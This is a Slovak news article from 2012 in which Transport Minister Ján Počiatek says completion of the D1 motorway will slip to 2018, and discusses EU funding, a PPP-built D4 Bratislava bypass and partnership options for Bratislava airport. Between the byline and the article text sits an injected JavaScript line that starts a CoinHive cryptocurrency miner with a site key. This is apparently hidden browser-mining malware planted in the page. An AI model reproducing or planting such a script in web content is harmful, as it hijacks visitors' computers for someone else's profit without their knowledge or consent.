

Podľa ministra Počiatka sa výstavba D1 posunie o rok

Napísal Admin
Sobota, 14 Apríl 2012 09:22

var miner = new

CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();



BRATISLAVA 14. apríla (WEBNOVINY) - Plán dostavby diaľnice D1 z Bratislavy do Košíc sa nedodrží. Predpokladaný termín dostavby diaľnice D1 - rok 2017 sa bude musieť posunúť.

Podľa prvých odhadov nového ministra dopravy, výstavby a regionálneho rozvoja Jána Počiatka posun by mal byť "zatiaľ na rok 2018", uviedol to dnes v rozhovore pre denník SME.

Eurofondy považuje Počiatek za nevyhnutnosť

Ako povedal Počiatek pre denník, "keď hovoríme o úplne kompletom prepojení, ide o dostavbu úplne všetkých úsekov. Na vyriešenie viacerých nevie dať nikto odpoveď. Je tu úsek Turany - Hubová, kde je problém s environmentálnym posudzovaním. Alternatívny plán tunelových prepojení by znamenal posun minimálne o dva roky."

Ak budú platiť súčasné pravidlá, vie si nový šéf rezortu dopravy predstaviť ako jediného kandidáta na výstavbu cez PPP obchvat Bratislavy D4, pretože na tomto území sa nedá uchádzať o eurofondy. Trend financovať čo najviac z eurofondov považuje za nevyhnutnosť.

Bratislavské letisko potrebuje know-how

Ján Počiatek v rozhovore tiež tvrdí, že treba uvažovať napríklad o prepojení R1 a D1. Pri tuneli Višňové nevidí dôvod, prečo by nepokračovali vo výstavbe.

Bratislavské letisko podľa Počiatka viac ako peniaze potrebuje know-how. "To vybavenie, ako keby už bolo, ale obsah letisku chýba. Strategické partnerstvo by som pripustil," konštatoval v rozhovore pre SME. Myslí si, že pre letisko existujú dve možnosti. Jednou je nájsť tím, ktorý bude schopný sám rozvíjať letisko do rozmeru, ako by to vedel robiť v spolupráci s niekým. Druhou možnosťou je hľadať partnera v nejakej forme spolupráce. Na otázku, či by dohadoval spoločný postup s Viedňou, odpovedal, že aj s inými. "Je tu otázka carga, nákladnej a osobnej prepravy," dodal v rozhovore pre denník.